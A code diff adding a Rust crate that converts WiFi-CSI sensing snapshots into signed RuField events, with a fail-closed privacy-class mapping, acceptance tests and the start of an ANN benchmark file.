+/// Convert a [`SensingSnapshot`] to a **signed** [`FieldEvent`] (ADR-262 P1).
+///
+/// 1. Builds a `FieldTensor` (`Modality::WifiCsi`, axis `[Frequency]`) whose
+///    values are the RuView feature scalars, with the real `timestamp_ns`.
+/// 2. Builds an `Observation` — `motion_vector`/`range_m`/`space_cell` derived
+///    from the signal-field peak when present (else `None`; coordinates are
+///    never fabricated), `confidence` from the classification, labels from
+///    motion-level/presence.
+/// 3. Stamps the §3.3 egress privacy class (information-content mapping with
+///    the demotion floor) on both tensor and observation.
+/// 4. Builds a real `ProvenanceRef` (sha256 raw hash over the tensor/feature
+///    bytes, `synthetic = false`) and **signs** it with the supplied ed25519
+///    [`Signer`] so `rufield_provenance::is_fusable` passes.
+///
+/// Determinism: with no RNG anywhere and a deterministic ed25519 signer, the
+/// same `snap` + same signer seed yields a byte-identical event.
+#[must_use]
+pub fn snapshot_to_field_event(snap: &SensingSnapshot, signer: &Signer) -> FieldEvent {
+    let class = egress_class(snap.trust_class, snap.identity_bound, snap.demoted);
+
+    let (range_m, motion_vector, space_cell) = derive_position(snap.signal_field.as_ref());
+
+    // ── 1. Tensor ──────────────────────────────────────────────────────────
+    // The frequency-domain feature scalars, in a stable order.
+    let f = &snap.features;
+    let values: Vec<f32> = vec![
+        f.mean_rssi as f32,
+        f.variance as f32,
+        f.motion_band_power as f32,
+        f.breathing_band_power as f32,
+        f.dominant_freq_hz as f32,
+        f.spectral_power as f32,
+    ];
+    let confidence = (snap.classification.confidence as f32).clamp(0.0, 1.0);
+    let noise_floor = f.variance.max(0.0) as f32;
+    let calibration_id = format!("ruview_node_{}", snap.node_id);
+
+    // `FieldTensor::new` only errors on a shape/axis mismatch; our shape
+    // exactly matches `values.len()` and one axis, so this is infallible here.
+    let tensor = FieldTensor::new(
+        snap.timestamp_ns,
+        Modality::WifiCsi,
+        vec![FieldAxis::Frequency],
+        vec![values.len()],
+        values,
+        confidence,
+        noise_floor,
+        Some(calibration_id.clone()),
+        class,
+    )
+    .expect("feature tensor shape is well-formed by construction");
+
+    // ── 2. Observation ─────────────────────────────────────────────────────
+    let observation = Observation {
+        zone_id: Some(snap.node_id.clone()),
+        space_cell,
+        range_m,
+        velocity_mps: None,
+        motion_vector,
+        confidence,
+        features: build_features(snap, range_m),
+        labels: build_labels(snap),
+        privacy_class: class,
+    };
+
+    // ── 3. Provenance (real sha256 over the tensor bytes) ───────────────────
+    let raw_hash = sha256_hex(
+        &serde_json::to_vec(&tensor).expect("tensor serializes to JSON for hashing"),
+    );
+    let provenance = ProvenanceRef {
+        raw_hash,
+        firmware_hash: firmware_hash(),
+        model_id: MODEL_ID.to_string(),
+        calibration_id,
+        synthetic: false, // a real (non-synthetic) live/replay event
+        signature_hex: None,
+        signer_pubkey_hex: None,
+    };
+
+    let sensor = SensorDescriptor {
+        modality: "wifi_csi".to_string(),
+        vendor: "esp32".to_string(),
+        device_id: snap.node_id.clone(),
+        placement: "unknown".to_string(),
+        clock_domain: "local".to_string(),
+    };
+
+    let mut event = FieldEvent::new(
+        event_id(snap),
+        snap.timestamp_ns,
+        sensor,
+        tensor,
+        observation,
+        provenance,
+    );
+
+    // ── 4. Sign (ed25519) so `is_fusable` passes for this real event ────────
+    signer
+        .sign_event(&mut event)
+        .expect("ed25519 signing of a serializable event is infallible");
+
+    event
+}
+
+/// Labels from the classification. These are descriptive (`person_present`,
+/// `motion_<level>`); the RuField fusion engine never reads labels
+/// (`event.rs:45-48`), so this carries no identity.
+fn build_labels(snap: &SensingSnapshot) -> Vec<String> {
+    let mut labels = Vec::new();
+    if snap.classification.presence {
+        labels.push("person_present".to_string());
+    }
+    labels.push(format!("motion_{}", snap.classification.motion_level));
+    labels
+}
+
+/// Convenience: the privacy class that *would* be stamped for a snapshot,
+/// without building the whole event. Useful for egress badges (P3) and tests.
+#[must_use]
+pub fn snapshot_egress_class(snap: &SensingSnapshot) -> PrivacyClass {
+    egress_class(snap.trust_class, snap.identity_bound, snap.demoted)
+}

v2/crates/wifi-densepose-rufield/src/lib.rs

@@ -0,0 +1,123 @@
+//! # wifi-densepose-rufield
+//!
+//! ADR-262 **anti-corruption bridge**: converts RuView's live WiFi-CSI sensing
+//! output into signed RuField [`FieldEvent`](rufield_core::FieldEvent)s.
+//!
+//! This crate is the **single coupling point** (ADR-262 §5.4) between RuView and
+//! the standalone RuField MFS spec (`vendor/rufield`, ADR-260). It depends on
+//! the four pure-Rust rufield crates **via path** — `rufield-core`,
+//! `-provenance`, `-privacy`, `-fusion` — and on **no** RuView internal crate.
+//! Inputs are owned primitives ([`SensingSnapshot`]) that mirror what RuView's
+//! sensing cycle produces, so the bridge never imports `SensingUpdate` /
+//! `TrustedOutput` directly.
+//!
+//! ## What P1 ships (honesty — ADR-262 §0 / §6)
+//!
+//! This is **P1 plumbing**: a tested `SensingSnapshot → FieldEvent` conversion
+//! plus the **fail-closed privacy mapping** that is the §3.3 correctness item.
+//! It is **not** wired into the live server (that is P3) and makes **no accuracy
+//! claim** — RuField v0.1 is synthetic end-to-end and RuView's single-link CSI
+//! carries its own caveats. The gates here are round-trip / fusability /
+//! privacy-safety / determinism, not validated F1.
+//!
+//! ## The critical correctness item: the privacy mapping (§3.3)
+//!
+//! RuView's `Derived` class has byte value `1` (below `Anonymous = 2`) yet
+//! carries an identity embedding. The bridge maps it to **P4/P5 by information
+//! content, never P1** — see [`map_privacy`]. Mapping off the byte would leak
+//! identity as low-privacy; [`map_privacy`] (and its dedicated test
+//! `derived_identity_never_maps_to_low_privacy`) exist specifically to prevent
+//! that.
+//!
+//! ## Example
+//!
+//! ```
+//! use wifi_densepose_rufield::{
+//!     snapshot_to_field_event, SensingSnapshot, SensingFeatures, SensingClass,
+//!     RuViewPrivacyClass,
+//! };
+//! use rufield_provenance::{Signer, is_fusable};
+//!
+//! let snap = SensingSnapshot {
+//!     timestamp_ns: 1_791_986_400_000_000_000,
+//!     features: SensingFeatures {
+//!         mean_rssi: -55.0,
+//!         variance: 0.4,
+//!         motion_band_power: 2.0,
+//!         breathing_band_power: 0.3,
+//!         dominant_freq_hz: 0.25,
+//!         change_points: 1,
+//!         spectral_power: 3.0,
+//!     },
+//!     classification: SensingClass {
+//!         motion_level: "low".into(),
+//!         presence: true,
+//!         confidence: 0.82,
+//!     },
+//!     signal_field: None,
+//!     trust_class: RuViewPrivacyClass::Anonymous,
+//!     demoted: false,
+//!     identity_bound: false,
+//!     node_id: "esp32_room_01".into(),
+//! };
+//!
+//! let signer = Signer::from_seed(b"adr-262-bridge-seed-32-bytes-ok!");
+//! let event = snapshot_to_field_event(&snap, &signer);
+//! assert!(is_fusable(&event)); // ed25519-signed, non-synthetic ⇒ fusable
+//! ```
+
+#![forbid(unsafe_code)]
+
+pub mod bridge;
+pub mod privacy;
+pub mod snapshot;
+
+pub use bridge::{snapshot_egress_class, snapshot_to_field_event};
+pub use privacy::{apply_demotion_floor, egress_class, map_privacy};
+pub use snapshot::{
+    RuViewPrivacyClass, SensingClass, SensingFeatures, SensingSnapshot, SignalField,
+};
+
+// Re-export the rufield surface a bridge consumer needs, so callers depend on
+// one crate.
+pub use rufield_core::{Destination, FieldEvent, Modality, PrivacyClass, PrivacyDecision};
+pub use rufield_fusion::RuFieldFusion;
+pub use rufield_privacy::{DefaultPrivacyGuard, PrivacyPolicy};
+pub use rufield_provenance::{is_fusable, verify_event, Signer};
+
+/// Whether a mapped [`PrivacyClass`] may be surfaced on a **network** egress
+/// (ADR-262 §4 P3 — the live `/api/field` / `/ws/field` surface must respect
+/// the same default §10 network policy `/ws/sensing` honours, never emitting
+/// above-policy data).
+///
+/// **Fail-closed for a live, unattended surface.** The live RuView surface has
+/// **no per-event consent or identity-binding ceremony** — so this is *stricter*
+/// than [`DefaultPrivacyGuard::authorize`]: it requires BOTH that the default
+/// guard would `Allow` the class onto [`Destination::Network`] with **no consent
+/// granted**, AND that the class is at or below the default network ceiling
+/// ([`PrivacyClass::P2`]). The second clause deliberately drops P4/P5 even
+/// though the guard's consent/identity *exceptions* would let an explicitly
+/// consented/identity-bound P4/P5 through — because the live surface cannot
+/// honestly assert that consent. Net effect: only **P1/P2** leave the box; P0
+/// (raw) and P3/P4/P5 are held edge-local.
+///
+/// This is the privacy-safety pin for the live surface: a `Derived` cycle maps
+/// to P4 (or P5 when identity-bound) via [`map_privacy`] and is therefore
+/// **never** surfaced as a network event — neither as a low-privacy P1 (the
+/// §3.3 mapping trap) nor at all.
+#[must_use]
+pub fn network_egress_allowed(class: PrivacyClass, identity_bound: bool) -> bool {
+    use rufield_core::PrivacyGuard;
+    let guard_allows = matches!(
+        DefaultPrivacyGuard::default().authorize(
+            class,
+            Destination::Network,
+            false, // no per-event consent on the live network surface (fail-closed)
+            identity_bound,
+        ),
+        PrivacyDecision::Allow
+    );
+    // Additionally cap at the default network ceiling: an unattended live
+    // surface never asserts the P4-consent / P5-identity exception.
+    guard_allows && class <= PrivacyClass::P2
+}

v2/crates/wifi-densepose-rufield/src/privacy.rs

@@ -0,0 +1,147 @@
+//! The ADR-262 §3.3 privacy mapping — the critical correctness item.
+//!
+//! RuView's effective `PrivacyClass` (4 byte-level classes) is the source of
+//! truth; the bridge maps it onto RuField's `PrivacyClass` (P0–P5) **at the
+//! egress boundary, by information content, NEVER by byte value**.
+//!
+//! ## The trap (ADR-262 §3, §6)
+//!
+//! RuView's `Derived` has byte value `1`, which sorts *below* `Anonymous`
+//! (byte `2`). A naive byte-mapping (`Derived = 1 → P1`) would leak
+//! identity-bearing features (`identity_embedding`, `identity_risk_score`) as a
+//! **low-privacy P1** event. Because `Derived` carries derived *identity*, it
+//! must map to the **biometric/identity tier (P4/P5)** — never P1. This is the
+//! single most dangerous mapping mistake; it gets a dedicated test
+//! (`derived_identity_never_maps_to_low_privacy`).
+//!
+//! ## Fail-closed
+//!
+//! [`RuViewPrivacyClass`] is a closed enum, so there is no runtime "unknown"
+//! value to receive — but the mapping is written `match`-exhaustively with an
+//! explicit, documented arm per class, and the `demoted`/`identity_bound`
+//! overlays only ever move the result **toward more privacy**, never less.
+
+use crate::snapshot::RuViewPrivacyClass;
+use rufield_core::PrivacyClass;
+
+/// Map a RuView effective `PrivacyClass` onto a RuField `PrivacyClass`
+/// (ADR-262 §3.3), by information content.
+///
+/// | RuView (byte) | → RuField | Rationale |
+/// |---|---|---|
+/// | `Raw` (0) | `P0` | raw CSI waveform |
+/// | `Derived` (1) | `P4` (or `P5` if `identity_bound`) | derived **identity** features ⇒ biometric/identity tier, **not** P1 |
+/// | `Anonymous` (2) | `P2` | occupancy / motion only |
+/// | `Restricted` (3) | `P2` (raw suppressed) | matches `suppress_raw_outputs` |
+///
+/// `identity_bound` only promotes `Derived` (already identity-derived) from P4
+/// to P5; it can never lower the class.
+#[must_use]
+pub fn map_privacy(ruview_class: RuViewPrivacyClass, identity_bound: bool) -> PrivacyClass {
+    match ruview_class {
+        // Raw CSI amplitude → raw waveform tier.
+        RuViewPrivacyClass::Raw => PrivacyClass::P0,
+
+        // THE CRITICAL ARM (§3.3 / §6): `Derived` carries identity. Map by
+        // information content to the biometric/identity tier P4, and to P5 when
+        // the surface is bound to a named identity. NEVER P1.
+        RuViewPrivacyClass::Derived => {
+            if identity_bound {
+                PrivacyClass::P5
+            } else {
+                PrivacyClass::P4
+            }
+        }
+
+        // Anonymous occupancy / motion aggregate → P2.
+        RuViewPrivacyClass::Anonymous => PrivacyClass::P2,
+
+        // Restricted: occupancy with risk score / hash stripped and raw
+        // suppressed. Capped at P2 (occupancy tier), matching
+        // `EngineBridge::suppress_raw_outputs` (`engine_bridge.rs:240`).
+        RuViewPrivacyClass::Restricted => PrivacyClass::P2,
+    }
+}
+
+/// The §4 P2 gate (b) monotonicity overlay: a governed-engine **demotion**
+/// (`TrustedOutput.demoted == true`) must never let the emitted class fall
+/// below P2 (occupancy floor), and raw is suppressed.
+///
+/// This is applied *after* [`map_privacy`] and can only raise the class
+/// (toward more privacy) — it is fail-closed by construction.
+#[must_use]
+pub fn apply_demotion_floor(class: PrivacyClass, demoted: bool) -> PrivacyClass {
+    if demoted && class < PrivacyClass::P2 {
+        PrivacyClass::P2
+    } else {
+        class
+    }
+}
+
+/// The full egress class for a snapshot: information-content mapping with the
+/// demotion floor overlaid. This is what the bridge stamps on the emitted
+/// `FieldEvent`.
+#[must_use]
+pub fn egress_class(
+    ruview_class: RuViewPrivacyClass,
+    identity_bound: bool,
+    demoted: bool,
+) -> PrivacyClass {
+    apply_demotion_floor(map_privacy(ruview_class, identity_bound), demoted)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn derived_maps_to_identity_tier_not_p1() {
+        // The single most dangerous mapping mistake: Derived (byte 1) must NOT
+        // become P1. It carries identity ⇒ P4, or P5 if identity-bound.
+        assert_eq!(map_privacy(RuViewPrivacyClass::Derived, false), PrivacyClass::P4);
+        assert_eq!(map_privacy(RuViewPrivacyClass::Derived, true), PrivacyClass::P5);
+    }
+
+    #[test]
+    fn full_table_matches_adr_262_section_3_3() {
+        assert_eq!(map_privacy(RuViewPrivacyClass::Raw, false), PrivacyClass::P0);
+        assert_eq!(map_privacy(RuViewPrivacyClass::Derived, false), PrivacyClass::P4);
+        assert_eq!(map_privacy(RuViewPrivacyClass::Anonymous, false), PrivacyClass::P2);
+        assert_eq!(map_privacy(RuViewPrivacyClass::Restricted, false), PrivacyClass::P2);
+    }
+
+    #[test]
+    fn mapping_ignores_non_monotonic_byte_value() {
+        // Derived's byte (1) is *below* Anonymous's byte (2), but Derived's
+        // mapped class must be *above* Anonymous's mapped class — proving the
+        // mapping uses information content, not the byte.
+        assert!(RuViewPrivacyClass::Derived.raw_byte() < RuViewPrivacyClass::Anonymous.raw_byte());
+        assert!(
+            map_privacy(RuViewPrivacyClass::Derived, false)
+                > map_privacy(RuViewPrivacyClass::Anonymous, false)
+        );
+    }
+
+    #[test]
+    fn demotion_floor_only_raises_privacy() {
+        // Raw → P0, but a demoted cycle floors to P2 with raw suppressed.
+        assert_eq!(apply_demotion_floor(PrivacyClass::P0, true), PrivacyClass::P2);
+        // Already-high classes are never lowered by the floor.
+        assert_eq!(apply_demotion_floor(PrivacyClass::P5, true), PrivacyClass::P5);
+        // No demotion ⇒ unchanged.
+        assert_eq!(apply_demotion_floor(PrivacyClass::P0, false), PrivacyClass::P0);
+    }
+
+    #[test]
+    fn identity_bound_only_promotes() {
+        // identity_bound never lowers privacy; it only promotes Derived P4→P5.
+        for c in [
+            RuViewPrivacyClass::Raw,
+            RuViewPrivacyClass::Derived,
+            RuViewPrivacyClass::Anonymous,
+            RuViewPrivacyClass::Restricted,
+        ] {
+            assert!(map_privacy(c, true) >= map_privacy(c, false));
+        }
+    }
+}

v2/crates/wifi-densepose-rufield/src/snapshot.rs

@@ -0,0 +1,152 @@
+//! Owned, primitive input types for the ADR-262 bridge.
+//!
+//! These deliberately **mirror** the shapes RuView's sensing cycle produces
+//! (the `/ws/sensing` `SensingUpdate` build site at
+//! `wifi-densepose-sensing-server/src/main.rs:~5938` and the `TrustedOutput`
+//! trust state surfaced via `EngineBridge` at `main.rs:~5886`) **without
+//! importing** RuView's internal crates. Keeping the bridge an anti-corruption
+//! layer (ADR-262 §5.4) means it takes owned primitives, not `SensingUpdate`
+//! or `TrustedOutput` directly — so this crate never depends on
+//! `wifi-densepose-sensing-server`.
+
+use serde::{Deserialize, Serialize};
+
+/// The CSI feature scalars RuView publishes on every `/ws/sensing` cycle.
+///
+/// Mirrors `FeatureInfo` (`main.rs:368-377`). All values are in RuView's own
+/// units; the bridge normalizes them into `Observation.features` for fusion.
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+pub struct SensingFeatures {
+    /// Mean RSSI across the CSI window (dBm).
+    pub mean_rssi: f64,
+    /// CSI amplitude variance.
+    pub variance: f64,
+    /// Motion-band spectral power (drives `motion_energy`).
+    pub motion_band_power: f64,
+    /// Breathing-band spectral power (drives `breathing_band`).
+    pub breathing_band_power: f64,
+    /// Dominant frequency of the CSI window (Hz).
+    pub dominant_freq_hz: f64,
+    /// Number of change points detected in the window (drives `transient`).
+    pub change_points: usize,
+    /// Total spectral power of the window.
+    pub spectral_power: f64,
+}
+
+/// The RuView classification block. Mirrors `ClassificationInfo`
+/// (`main.rs:379-384`).
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+pub struct SensingClass {
+    /// Coarse motion level label (e.g. `"none"`, `"low"`, `"high"`).
+    pub motion_level: String,
+    /// Whether a person is present.
+    pub presence: bool,
+    /// Classification confidence `0.0..=1.0`.
+    pub confidence: f64,
+}
+
+/// A RuView signal field — a floor-plane grid of field values. Mirrors
+/// `SignalField` (`main.rs:386-390`). The bridge derives a real position from
+/// the strongest field peak (like `field_localize`) and **never fabricates**
+/// coordinates when this is absent.
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+pub struct SignalField {
+    /// Grid dimensions `[x, y, z]`.
+    pub grid_size: [usize; 3],
+    /// Row-major flattened field values; `len() == grid_size.product()`.
+    pub values: Vec<f64>,
+}
+
+impl SignalField {
+    /// Index `[x, y, z]` of the strongest field cell, or `None` if the grid is
+    /// empty / all-NaN. This is the honest "strongest field peak" readout that
+    /// `field_localize` (`field_localize.rs:16-27`) exposes — **not** calibrated
+    /// triangulation.
+    #[must_use]
+    pub fn peak_cell(&self) -> Option<[i32; 3]> {
+        let [nx, ny, nz] = self.grid_size;
+        if nx == 0 || ny == 0 || nz == 0 || self.values.is_empty() {
+            return None;
+        }
+        let mut best_idx: Option<usize> = None;
+        let mut best_val = f64::NEG_INFINITY;
+        for (i, &v) in self.values.iter().enumerate() {
+            if v.is_finite() && v > best_val {
+                best_val = v;
+                best_idx = Some(i);
+            }
+        }
+        let idx = best_idx?;
+        // Row-major: idx = ((x * ny) + y) * nz + z.
+        let z = idx % nz;
+        let y = (idx / nz) % ny;
+        let x = idx / (nz * ny);
+        Some([x as i32, y as i32, z as i32])
+    }
+}
+
+/// RuView's effective privacy class (the `effective_class` / privacy byte on
+/// `TrustedOutput`).
+///
+/// This **mirrors** `wifi_densepose_bfld::PrivacyClass` (`bfld/lib.rs:103-116`,
+/// `#[repr(u8)]`) — the four byte-level classes. The byte values are
+/// **deliberately non-monotonic in information content**: `Derived = 1` carries
+/// an identity embedding yet sorts *below* `Anonymous = 2`. The bridge's
+/// `map_privacy` must therefore map by information content, NEVER by byte value
+/// (ADR-262 §3.3 — the central correctness item).
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum RuViewPrivacyClass {
+    /// Byte `0` — raw CSI amplitude, local-only.
+    Raw,
+    /// Byte `1` — derived **identity** features (identity_embedding +
+    /// identity_risk_score), LAN-only. The dangerous one (§3.3).
+    Derived,
+    /// Byte `2` — aggregate occupancy / motion, no identity.
+    Anonymous,
+    /// Byte `3` — care/regulated: occupancy minus risk score and hash;
+    /// raw suppressed.
+    Restricted,
+}
+
+impl RuViewPrivacyClass {
+    /// The raw byte value used by RuView's `#[repr(u8)]` enum
+    /// (`bfld/lib.rs:103`). Exposed only so callers can demonstrate the
+    /// non-monotonicity trap in tests; the bridge never maps off this byte.
+    #[must_use]
+    pub fn raw_byte(self) -> u8 {
+        match self {
+            RuViewPrivacyClass::Raw => 0,
+            RuViewPrivacyClass::Derived => 1,
+            RuViewPrivacyClass::Anonymous => 2,
+            RuViewPrivacyClass::Restricted => 3,
+        }
+    }
+}
+
+/// One sensing cycle, as a bridge input. Mirrors the join of `SensingUpdate`
+/// (features + classification + signal_field) and the `TrustedOutput` trust
+/// state (`trust_class`) that ADR-262 §1.2 / P1 say must be done at the bridge.
+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
+pub struct SensingSnapshot {
+    /// Capture time, nanoseconds since Unix epoch (the real `SensingUpdate`
+    /// timestamp, ns).
+    pub timestamp_ns: u64,
+    /// CSI feature scalars (`/ws/sensing` feature set).
+    pub features: SensingFeatures,
+    /// Classification (motion level / presence / confidence).
+    pub classification: SensingClass,
+    /// Optional signal field for a real position readout.
+    pub signal_field: Option<SignalField>,
+    /// RuView's effective privacy class (the source-of-truth, §3.3).
+    pub trust_class: RuViewPrivacyClass,
+    /// Whether the governed engine demoted this cycle (`TrustedOutput.demoted`).
+    /// When `true` the emitted event must be `>= P2` and raw suppressed
+    /// (§3.3 / §4 P2 gate (b)).
+    pub demoted: bool,
+    /// Whether this cycle's identity surface is bound to an enrolled identity
+    /// (RuView's `identity_bound`). Promotes `Derived` to P5 when set.
+    pub identity_bound: bool,
+    /// Stable node id (e.g. `"esp32_room_01"`).
+    pub node_id: String,
+}

v2/crates/wifi-densepose-rufield/tests/p1_gates.rs

@@ -0,0 +1,172 @@
+//! ADR-262 P1 acceptance gates. Each test below IS an acceptance criterion.
+//!
+//! - round-trip: snapshot → FieldEvent → serde → equal
+//! - is_fusable: emitted event passes the §11 fusability invariant
+//! - fusion ingest accept: `RuFieldFusion::ingest` accepts it + `infer` runs
+//! - privacy safety: `Derived` never maps to a low-privacy class (the §3.3 trap)
+//! - determinism: same snapshot + same signer seed → identical event
+
+use rufield_core::{FusionEngine, InferenceQuery, PrivacyClass};
+use rufield_fusion::RuFieldFusion;
+use rufield_provenance::{is_fusable, verify_event, Signer};
+use wifi_densepose_rufield::{
+    map_privacy, snapshot_to_field_event, RuViewPrivacyClass, SensingClass, SensingFeatures,
+    SensingSnapshot, SignalField,
+};
+
+const SEED: &[u8; 32] = b"adr-262-bridge-seed-32-bytes-ok!";
+
+fn signer() -> Signer {
+    Signer::from_seed(SEED)
+}
+
+/// A representative snapshot with a real signal field (so a position is derived).
+fn sample_snapshot() -> SensingSnapshot {
+    SensingSnapshot {
+        timestamp_ns: 1_791_986_400_123_456_789,
+        features: SensingFeatures {
+            mean_rssi: -52.5,
+            variance: 0.73,
+            motion_band_power: 2.4,
+            breathing_band_power: 0.6,
+            dominant_freq_hz: 0.27,
+            change_points: 2,
+            spectral_power: 4.1,
+        },
+        classification: SensingClass {
+            motion_level: "high".into(),
+            presence: true,
+            confidence: 0.88,
+        },
+        signal_field: Some(SignalField {
+            grid_size: [2, 1, 2],
+            // peak at flat index 2 → cell [1,0,0]
+            values: vec![0.1, 0.2, 0.9, 0.3],
+        }),
+        trust_class: RuViewPrivacyClass::Anonymous,
+        demoted: false,
+        identity_bound: false,
+        node_id: "esp32_room_01".into(),
+    }
+}
+
+#[test]
+fn gate_round_trip_serde_equal() {
+    let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
+    let json = serde_json::to_string(&ev).expect("serialize");
+    let back: rufield_core::FieldEvent = serde_json::from_str(&json).expect("deserialize");
+    assert_eq!(ev, back, "FieldEvent must round-trip through serde unchanged");
+}
+
+#[test]
+fn gate_is_fusable_verified_receipt() {
+    let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
+    // Real (non-synthetic) event must carry a verifying ed25519 signature.
+    assert!(!ev.provenance.synthetic, "live event must NOT be marked synthetic");
+    assert!(ev.provenance.signature_hex.is_some(), "must be signed");
+    assert!(verify_event(&ev).is_ok(), "signature must verify");
+    assert!(is_fusable(&ev), "verified receipt ⇒ fusable (§11 invariant)");
+}
+
+#[test]
+fn gate_fusion_ingest_accepts_and_infers() {
+    let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
+    let mut engine = RuFieldFusion::new();
+    engine.ingest(ev).expect("fusion engine must accept the signed event");
+    // infer() must run without error (may or may not produce inferences).
+    let inferences = engine
+        .infer(&InferenceQuery::all())
+        .expect("infer() must run");
+    // The graph recorded the event/sensor provenance nodes.
+    assert!(
+        engine.graph().node_count() >= 2,
+        "ingest should record sensor + event nodes"
+    );
+    let _ = inferences; // count is not an accuracy claim
+}
+
+#[test]
+fn gate_privacy_safety_derived_never_maps_to_low_privacy() {
+    // THE critical §3.3 gate. Derived carries identity ⇒ P4/P5, NEVER P1.
+    let p4 = map_privacy(RuViewPrivacyClass::Derived, false);
+    let p5 = map_privacy(RuViewPrivacyClass::Derived, true);
+    assert_eq!(p4, PrivacyClass::P4);
+    assert_eq!(p5, PrivacyClass::P5);
+    assert!(p4 >= PrivacyClass::P4, "Derived must be in the identity tier");
+    assert_ne!(p4, PrivacyClass::P1, "Derived must NEVER be P1");
+
+    // And end-to-end: an emitted event from a Derived snapshot must be P4/P5.
+    let mut snap = sample_snapshot();
+    snap.trust_class = RuViewPrivacyClass::Derived;
+    let ev = snapshot_to_field_event(&snap, &signer());
+    assert!(
+        ev.observation.privacy_class >= PrivacyClass::P4,
+        "emitted Derived event must be P4 or P5, got {:?}",
+        ev.observation.privacy_class
+    );
+    assert_eq!(ev.observation.privacy_class, ev.tensor.privacy_class);
+}
+
+/// Full §3.3 table over every RuView class → expected RuField class.
+#[test]
+fn gate_privacy_table_over_every_ruview_class() {
+    let cases = [
+        (RuViewPrivacyClass::Raw, false, PrivacyClass::P0),
+        (RuViewPrivacyClass::Derived, false, PrivacyClass::P4),
+        (RuViewPrivacyClass::Derived, true, PrivacyClass::P5),
+        (RuViewPrivacyClass::Anonymous, false, PrivacyClass::P2),
+        (RuViewPrivacyClass::Restricted, false, PrivacyClass::P2),
+    ];
+    for (ruview, id_bound, expected) in cases {
+        assert_eq!(
+            map_privacy(ruview, id_bound),
+            expected,
+            "{ruview:?} (identity_bound={id_bound}) must map to {expected:?}"
+        );
+    }
+}
+
+/// Fail-closed: a demoted Raw snapshot must NOT emit P0 (raw) — it floors to P2.
+#[test]
+fn gate_demotion_is_fail_closed() {
+    let mut snap = sample_snapshot();
+    snap.trust_class = RuViewPrivacyClass::Raw; // would be P0
+    snap.demoted = true; // governed engine demotion
+    let ev = snapshot_to_field_event(&snap, &signer());
+    assert!(
+        ev.observation.privacy_class >= PrivacyClass::P2,
+        "demoted cycle must floor to >= P2, got {:?}",
+        ev.observation.privacy_class
+    );
+}
+
+#[test]
+fn gate_determinism_same_seed_identical_event() {
+    let snap = sample_snapshot();
+    let a = snapshot_to_field_event(&snap, &Signer::from_seed(SEED));
+    let b = snapshot_to_field_event(&snap, &Signer::from_seed(SEED));
+    assert_eq!(a, b, "same snapshot + same signer seed ⇒ identical event");
+    // Including the signature (ed25519 is deterministic).
+    assert_eq!(a.provenance.signature_hex, b.provenance.signature_hex);
+}
+
+#[test]
+fn no_fabricated_position_when_field_absent() {
+    let mut snap = sample_snapshot();
+    snap.signal_field = None;
+    let ev = snapshot_to_field_event(&snap, &signer());
+    assert!(ev.observation.range_m.is_none(), "no field ⇒ no fabricated range");
+    assert!(ev.observation.space_cell.is_none(), "no field ⇒ no fabricated cell");
+    assert!(
+        ev.observation.motion_vector.is_none(),
+        "no field ⇒ no fabricated motion vector"
+    );
+}
+
+#[test]
+fn derives_real_position_from_field_peak() {
+    let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
+    // peak at flat index 2, grid [2,1,2] (row-major) → cell [1,0,0]
+    assert_eq!(ev.observation.space_cell, Some([1, 0, 0]));
+    assert_eq!(ev.observation.range_m, Some(1.0));
+}

v2/crates/wifi-densepose-ruvector/Cargo.toml

@@ -47,3 +47,7 @@ harness = false
 [[bench]]
 name = "fusion_bench"
 harness = false
+
+[[bench]]
+name = "ann_bench"
+harness = false

v2/crates/wifi-densepose-ruvector/benches/ann_bench.rs

@@ -0,0 +1,98 @@
+//! Criterion bench for the ADR-261 graph-ANN index: linear scan vs float HNSW
+//! vs quantized HNSW, on the shared `ann_measure` fixture.
+//!
+//! The authoritative recall/QPS numbers in ADR-261 come from the
+//! `--no-default-features --release` test report
+//! (`ann_bench_report` in `src/ann_measure.rs`), which is deterministic and
+//! gate-runnable. This criterion bench times the same operations through the
+//! criterion harness for stable per-op medians:
+//!
+//! ```text
+//! cargo bench -p wifi-densepose-ruvector --bench ann_bench
+//! ```
+//!
+//! Build is excluded from the timed region (done once in setup); only the query
+//! path is measured. The fixture and both indices are identical to the report's,
+//! so the bench and the report can never measure different graphs.
+
+use criterion::{black_box, criterion_group, criterion_main, Criterion};
+use wifi_densepose_ruvector::ann_measure::{
+    build_indices, build_quant_bits, queries, AnnBenchParams,
+};
+
+fn bench_ann(c: &mut Criterion) {
+    // Modest N so the bench builds quickly; the report covers the larger N.
+    let p = AnnBenchParams::default_fixture(10_000);
+    let (float_idx, quant_idx, vectors) = build_indices(p);
+    // Multi-bit quant variants over the SAME graph/fixture (ADR-261 §11).
+    let quant_2bit = build_quant_bits(p, &vectors, 2);
+    let quant_4bit = build_quant_bits(p, &vectors, 4);
+    let qs = queries(p);
+    let k = p.k;
+
+    let mut group = c.benchmark_group("ann_query");
+    group.sample_size(20);
+
+    // Linear scan (brute force) — the no-index baseline.
+    group.bench_function("linear_scan", |b| {
+        b.iter(|| {
+            let mut sink = 0u64;
+            for q in &qs {
+                sink = sink.wrapping_add(float_idx.brute_force(black_box(q), k).len() as u64);
+            }
+            black_box(sink)
+        })
+    });
+
+    // Float HNSW at a mid beam width.
+    for &ef in &[64usize, 128] {
+        group.bench_function(format!("float_hnsw_ef{ef}"), |b| {
+            b.iter(|| {
+                let mut sink = 0u64;
+                for q in &qs {
+                    sink = sink.wrapping_add(float_idx.search(black_box(q), k, ef).len() as u64);
+                }
+                black_box(sink)
+            })
+        });
+    }
+
+    // Quantized HNSW (1-bit) at matched beam widths + rerank.
+    for &ef in &[64usize, 128] {
+        let rr = k * 5;
+        group.bench_function(format!("quant_hnsw_1bit_ef{ef}_rr{rr}"), |b| {
+            b.iter(|| {
+                let mut sink = 0u64;
+                for q in &qs {
+                    sink = sink
+                        .wrapping_add(quant_idx.search_quantized(black_box(q), k, ef, rr).len() as u64);
+                }
+                black_box(sink)
+            })
+        });
+    }
+
